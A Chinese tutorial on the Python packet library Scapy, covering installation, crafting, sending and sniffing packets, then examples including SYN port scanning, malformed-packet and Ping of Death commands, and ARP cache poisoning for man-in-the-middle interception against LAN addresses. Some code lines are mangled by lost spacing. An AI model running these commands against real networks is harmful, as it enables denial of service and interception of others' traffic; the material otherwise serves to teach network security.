记得当初学习计算机网络的时候,在机房用得比较多的是老旧的 sniffer,自己动手的时候用的比较多的是 wireshark。后面做 Web 开发的时候,用 Fiddler 比较顺手,也比较轻便,满足日常开发的需求。当然熟练的话也可以直接用 tcpdump 之类的工具。后面在用 Python 做安全方面的内容的时候,发现了 Scapy 这么一个强大的嗅探库(不是爬虫框架 Scrapy),支持 Py2 和 Py3,而且在 QPython 上也集成了。这个还真的是利器啊!
什么是 Scapy
Scapy 官网 上一开始就是对着自家的程序一通吹,如“强大的交互式包操作工具”、“支持大量协议的包解析和包构造”、“轻松取代 hping,85% 的 nmap,arpspoof,tcpdump 等等”。不过归根到底,它说的强大功能,都是基于 Scapy 是一个强大的网络数据包操作工具才能实现得了的。
安装 Scapy
Scapy 有 1.2 和 2.x 两种版本,前者据文档介绍已经是弃用状态了。因为这个库比较依赖 *nix 系统的 libpcap、libdnet 等库,因此在 Linux、BSD、Mac OS X 上可以简单的使用 pip install scapy 就能安装 Scapy(当然文档还会说明如何从 git 上获取最新版本的 Scapy)。对于 Windows 系统,会稍微麻烦一点,要先安装最新版的 Npcap,当然在 Winpcap 下也是可以运行的(这个如果你装过 Fiddler 按推荐步骤应该是连带安装了的,不过需要注意),然后也是一样通过 pip 工具安装 Scapy。
安装完成后,在 Python 交互式界面输入:
1
>>> fromscapy.allimport*
没有报错,证明安装成功(v1.2 版本使用 from scapy import *)
Scapy 也是可以直接运行的,安装成功后在命令行或 shell 运行 scapy 会进入到 Scapy 的交互式界面。前面部分信息会提示当前环境不可以使用什么功能,如希望使用 plot 需要 matplotlib,使用 psdump 或 pdfdump 需要 PyX 等。
Scapy 使用基础
构造数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> fromscapy.allimport*
>>> ip_package = IP(dst='www.163.com', ttl=80)
>>> ip_package.src
'10.0.3.173'
>>> ip_package.dst
Net('www.163.com')
>>> ip_package.ttl
80
# 显示 raw layer
>>> raw_package = raw(ip_package)
>>> raw_package
b'E\x00\x00\x14\x00\x01\x00\x00P\x00\x19\x92\n\x00\x03\xad}Y\xc6Q'
# 显示以太网信息
>>> ether = Ether(raw_pacakge)
>>> ether
>
如上所示,我们构造了一个目标地址为 163.com 的,生存周期为 80 的一个 IP 数据包,并打印出其信息
除了 IP 协议,Scapy 还支持多种协议类型的包数据,而且这些包的数据还可以通过 / 来进行组合,下层可以根据上层重载他的一个或多个默认字段。组合的层次顺序参照 OSI 标准模型,如:
1
2
3
>>> package = IP(dst='www.163.com')/TCP(dport=80)/"GET / HTTP/1.1\r\n\r\n"
>>> package
>>
这里组合了 IP 层、TCP 层以及 HTTP 层级的包(HTTP 报头 约定以 \r\n\r\n 结尾)。
构造多个数据包
上面我们仅仅是构造了一个数据包,那么如何用 Scapy 构造多个数据报呢?对于包数据(甚至是每一层)的每个字段都可以赋值集合,显式指定集合可以生成对应的每一个字段元素对应的包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 指定掩码
>>> a=IP(dst="www.slashdot.org/30")
>>> a
>>> [pforpina]
[, ,
, ]
# 指定生命周期
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
>>> [pforpinb]
[, , , ,
, , ]
# 指定目标端口
>>> c=TCP(dport=[80,443])
>>> [pforpina/c]
[>,
>,
>,
>,
>,
>,
>,
>]
fuzz() 函数
函数 fuzz 可以根据模板快速构造数据包,同时会保证其他参数是正确的,文档的例子:
1
>>> IP(dst="www.bing.com")/fuzz(UDP()/NTP(version=4))
在这个包里面,IP 层是指定了 dst(注意 fuzz 对于 IP 层也可以使用,但是 src 和 dst 不能是随机的必须指定),而 UDP 和 NTP 层是 fuzz 的。因此这个包在 IP 层之上除了检验和以及 UDP 端口为 123(NTP 协议规定)之外,其他的字段都是随机的。
批量操作数据包
Scapy 也提供了一些方法来操作一组数据包,如下表所示:
方法说明
summary()显式每一个数据包的摘要列表
nsummary()同上,可以指定数据包的数量
filter()返回一个 lambda 过滤后的数据包列表
hexdump()以 hexdump 的形式显示全部数据包
hexraw()以 hexdump 的形式显示全部数据包的 Raw Layer
padding()以填充 hexdump 的形式返回全部数据包
nzpadding()以非零填充 hexdump 的形式返回全部数据包
发送数据包
Scapy 提供了两个函数来发送数据包:send() 以及 sendp()。send() 作用于第三层也就是网络层,也就是说它会帮你处理掉路由以及下面两层(即物理层和链路层)。当然你可以使用 sendp() 作用于第二层,这需要你指定恰当的 interface 以及恰当的链路协议。当指定管关键字参数 return_packets 为 True 是会返回发送的包列表。
1
2
3
4
5
6
7
8
>>> send(IP(dst="www.baidu.com")/TCP(dport=80), return_packets=True)
.
Sent1packets.
# 注意 Window 因为用了 Npcap 作为中间组件,所以基本上指定的 iface 都是 Npcap Loopback Adapter
>>> sendp("Hello World", iface="Npcap Loopback Adapter", loop=1, inter=0.2)
............................................................................................................
Sent40packets.
发送并接收数据包(sr)
sr 函数负责发送数据包并接收应答,返回值是一对数据包以及其应答,还包括没有被应答的数据包,所以一共有两个列表。
sr1 函数是上面的一个变种,只返回一个应答数据包列表。这些发送的数据包必须位于第三层之上(IP、ARP 等等)。
srp 函数和 sr 类似,但是作用于第二层之上(Ethernet, 802.3 等等),如果没有任何相应,则当到达超时时间的时候将得到一个 None 的值。
1
2
3
4
5
6
7
8
9
10
# 给 baidu.com 发送 tcp 报文
>>> ans, unans = sr(IP(dst="www.baidu.com")/TCP(dport=[80,443]),inter=0.5,retry=-2,timeout=1)
Begin emission:
.*.........*Finished sending2packets.
Received12packets, got2answers, remaining0packets
>>> ans
>>> unans
导出导入 PCAP 文件
Scapy 可以读取 pcap 文件以及往 pcap 文件写入包数据
1
2
3
4
5
>>> a = rdpcap("/spare/captures/isakmp.cap")
>>> a
# 或者
>>> a = sniff(offline="isakmp.cap")
1
>>> wrpcap("temp.cap", pkts)
使用 Scapy 进行嗅探
使用 Scapy 进行嗅探操作,最核心的函数即是 sniff。它有一些常用的入参,如下表所示:
参数说明
count需要捕获的包的个数,0 代表无限
store是否需要存储捕获到的包
filter指定嗅探规则过滤,遵循 BPF (伯克利封包过滤器)
timeout指定超时时间
iface指定嗅探的网络接口或网络接口列表,默认为 None,即在所有网络接口上嗅探
prn传入一个可调用对象,将会应用到每个捕获到的数据包上,如果有返回值,那么它不会显示
offline从 pcap 文件读取包数据而不是通过嗅探的方式获得
1
2
3
4
5
6
7
8
# 嗅探实例
>>> sniff(filter="tcp and port 80 and target www.acfun.cn", count=3)
>>> a = _
>>> a.nsummary()
0000Ether / IP / TCP10.0.3.173:62061>202.105.176.96:https A / Raw
0001Ether / IP / TCP202.105.176.96:https >10.0.3.173:62061A
0002Ether / IP / TCP10.0.3.173:57087>59.110.88.58:https PA / Raw
Scapy 使用实例
获取本机 IP 信息
一般网上给出的都是 socket 的方式,先获取计算机名,再根据计算机名获取 host 地址(即 IP 地址),现在使用 Scapy 可以直接构造 IP 数据包并获取其 src 的方式得到:
1
2
>>> a = IP(dst="www.baidu.com")
>>> a.src
至于在 Windows 上需要知道自己具体的网卡信息以填入 iface 中,因此可以使用 show_interfaces() 函数获得。更多的内置函数可以通过 lsc() 函数查看。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
>>> lsc()
IPID_count : Identify IP id values classesina list of packets
arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
arping : Send ARP who-has requests to determine which hosts are up
bind_layers : Bind2layers on some specific fields' values
bridge_and_sniff : Forward traffic between interfaces if1 and if2, sniff and return
chexdump : Build a per byte hexadecimal representation
computeNIGroupAddr : Compute the NI group Address. Can take a FQDN as input parameter
corrupt_bits : Flip a given percentage or number of bits from a string
corrupt_bytes : Corrupt a given percentage or number of bytes from a string
defrag : defrag(plist) -> ([not fragmented], [defragmented],
defragment : defrag(plist) -> plist defragmented as much as possible
dhcp_request : --
dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del : Send a DNS delete message to a nameserver for "name"
etherleak : Exploit Etherleak flaw
fletcher16_checkbytes: Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.
fletcher16_checksum : Calculates Fletcher-16 checksum of the given buffer.
fragleak : --
fragleak2 : --
fragment : Fragment a big IP datagram
fuzz : Transform a layer into a fuzzy layer by replacing some default values by random objects
getmacbyip : Return MAC address corresponding to a given IP address
getmacbyip6 : Returns the MAC address corresponding to an IPv6 address
hexdiff : Show differences between 2 binary strings
hexdump : Build a tcpdump like hexadecimal view
hexedit : --
hexstr : --
import_hexcap : --
is_promisc : Try to guess if target is in Promisc mode. The target is provided by its ip.
linehexdump : Build an equivalent view of hexdump() on a single line
ls : List available layers, or infos on a given layer class or name
neighsol : Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr
...
ARP 主机发现
使用 ARP Ping 是在本地以太网内发现主机的最快的方法:
1
2
3
4
>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.3.0/24"), timeout=2)
# 也可以使用内置的 arp ping 方法
>>> arping("10.0.3.*")
基于 TCP 的端口扫描
给每个端口发送 TCP SYN 包,如果收到 SYN-ACK 包或 TCP RST 复位包或者 ICMP 错误,证明端口存在。
1
2
3
>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", dport=(1,1024)) )
# 查看结果
>>> res.nsummary(prn=lambda(s,r): r.src, lfilter=lambda(s,r): r.haslayer(ISAKMP))
Scapy 文档后面也提到过了对于一些防火墙会把没有 TCP 时间戳的包丢弃,所以我们需要加上其他选项
1
>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", options=[('Timestamp', (0,0))], dport=(1,1024)) )
TCP 路由跟踪(TCP traceroute)
我们可以自行通过 sr 发送构造的 TCP 数据包来做 TCP 路由跟踪
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> ans, unans = sr(IP(dst="www.baidu.com", ttl=(4,25), id=RandShort())/TCP(flags=0x2))
Begin emission:
..Finished sending22packets.
.....*...*.......*.**..***..*.**.******.........
Received50packets, got17answers, remaining5packets
>>> forsnd, rcvinans:
... print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP))
...
4183.56.31.29False
559.37.176.153False
614.215.177.39True
714.215.177.39True
8113.96.4.106False
914.215.177.39True
...
2014.215.177.39True
>>>
实际上 TCP Traceroute 已经提供了一个单独的函数来实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
>>> traceroute("www.baidu.com")
Begin emission:
Finished sending30packets.
**********************
Received22packets, got22answers, remaining8packets
14.215.177.39:tcp80
210.1.1.111
3183.56.30.20911
7113.96.4.10211
1214.215.177.39SA
...
3014.215.177.39SA
(, )
DNS 跟踪
出自 Scapy 的文档说明,直接在 traceroute 函数设置 l4 参数作为一个完整的数据包来实现:
1
2
3
4
5
6
7
8
9
10
11
12
>>> ans, unans = traceroute("www.baidu.com", l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
Finished sending30packets.
..*.*...***..*..................................
Received48packets, got6answers, remaining24packets
14.215.177.38:udp53
210.1.1.111
3183.56.30.20911
4183.56.31.2911
559.37.176.15311
6183.56.34.3311
7113.96.4.7811
畸形报文攻击
畸形报文攻击是通过向目标系统发送有缺陷的IP报文,使得目标系统在处理这样的 IP 包时会出现崩溃,给目标系统带来损失。主要的畸形报文攻击有 Ping of Death、Teardrop 等。如下所示生成一个畸形报文:
1
>>> send(IP(dst="10.0.3.234", ihl=2, version=3)/ICMP())
如下构造 Ping of Death:
1
>>> send(fragment(IP(dst="10.0.3.234")/ICMP()/("X"*60000)))
Ping of Death 俗称 “死拼”,其攻击原理是攻击者 A 向受害者 B 发送一些尺寸超大的 ICMP (Ping 命令使用的是 ICMP 报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。由于 IP 报文的最大长度是 216-1=65535 个字节,那么去除 IP 首部的 20 个字节和 ICMP 首部的 8 个字节,实际数据部分长度最大为:65535-20-8=65507 个字节。所谓的尺寸超大的 ICMP 报文就是指数据部分长度超过 65507 个字节的 ICMP 报文。而且由于 IP 报文会分片,单片报文一般不超过显示,实际上会到达目的机器后才会重组导致报文过大。
ARP Cache 投毒
ARP 协议的工作方式
ARP 协议负责通过 IP 地址找到 MAC 地址,在以太网中所使用的地址是 MAC 地址。它的工作方式如下:
一台机器 A 想知道拥有 10.0.2.105 这个 IP 地址的主机并进行通信,因此机器 A 向所在网段的所有机器发送过一个广播包,询问谁的 IP 是 “10.0.2.105”。正常情况下其他机器会忽略这个消息,只有 10.0.2.105 IP 的主机会响应,返回自己的 MAC 地址。然后机器 A 把对应的 IP 地址和 MAC 地址缓存到 ARP 缓存表,下次直接查询这个表而不发送 ARP 请求(Windows 下 ARP 缓存表可以用 arp -a 查看)。
如何实现
ARP 缓存投毒,又称作 ARP 欺骗,是非常常用的一种攻击手段,一般用在中间人攻击里面,将攻击方伪装成网关(即网关的 IP 地址对应攻击方的 MAC 地址)。使用 Scapy 可以简洁地实现 ARP Cache 投毒。
1
2
3
4
5
6
7
8
9
10
# 先获取任意已知主机的 MAC 地址
>>> mac = ARP(pdst="10.0.3.1")# 或 getmacbyip("10.0.3.1")
>>> mac.hwsrc# 0c:da:41:61:f3:67
>>> mac1 = sr1(ARP(pdst="10.0.3.234"))# 或 getmacbyip("10.0.3.234")
>>> mac1.hwsrc# 94:65:2d:2a:10:ad
# 本机的 MAC 地址可以查看 ipconfig 得到:68:ec:c5:ce:21:fb
# 欺骗 10.0.3.234 主机,误以为本机(10.0.3.173)是网关(10.0.3.1)
>>> sendp(Ether(dst="94:65:2d:2a:10:ad")/ARP(op="is-at", psrc="10.0.3.1", pdst="10.0.3.234"), inter=RandNum(10,40), loop=1)# op is-at 代表 arp 应答包, who-has 代表 arp 请求包
# 欺骗网关 10.0.3.1,误以为本机(10.0.3.173)才是 10.0.3.234 主机
>>> srploop(Ether(dst="0c:da:41:61:f3:67")/ARP(op=2, psrc="10.0.3.234", hwsrc="68:ec:c5:ce:21:fb", pdst="10.0.3.1"))
实际上 Scapy 也提供了封装好的方法来实现 ARP 缓存投毒:
1
2
3
# 效果和上述例子一样
>>> arpcachepoison("10.0.3.234","10.0.3.1", interval=2)
# 分别指定投毒的目标地址 target,还有要伪装的地址 victim,以及发送的间隔时间
MOTS 攻击
在 FreeBuf 里有关于 MOTS(Man-on-the-Side)的具体介绍,在这里仅简述一下信息:
Man-on-the-side 攻击是攻击者监听通信信道利用时间差注入新数据。它有两个特征:
攻击者能够读取流量信息并插入新消息,但是不会修改或删除通信方发送的消息。
当受害者发出请求时,攻击者利用时间优势让自己发送的响应先于合法的响应到达受害者。
这些在 MOTS 中注入的数据包之所以难以被检测,因为除了应用层的数据之外,一般都会带有 TCP FIN 标志位,客户端(受害者)得到这个数据包的时候,除了解析应用层的数据外,还会关闭 TCP 套接字并返回 FIN+ACK 作为应答,这样实际的包到达的时候会发现 TCP 套接字早就被关闭了。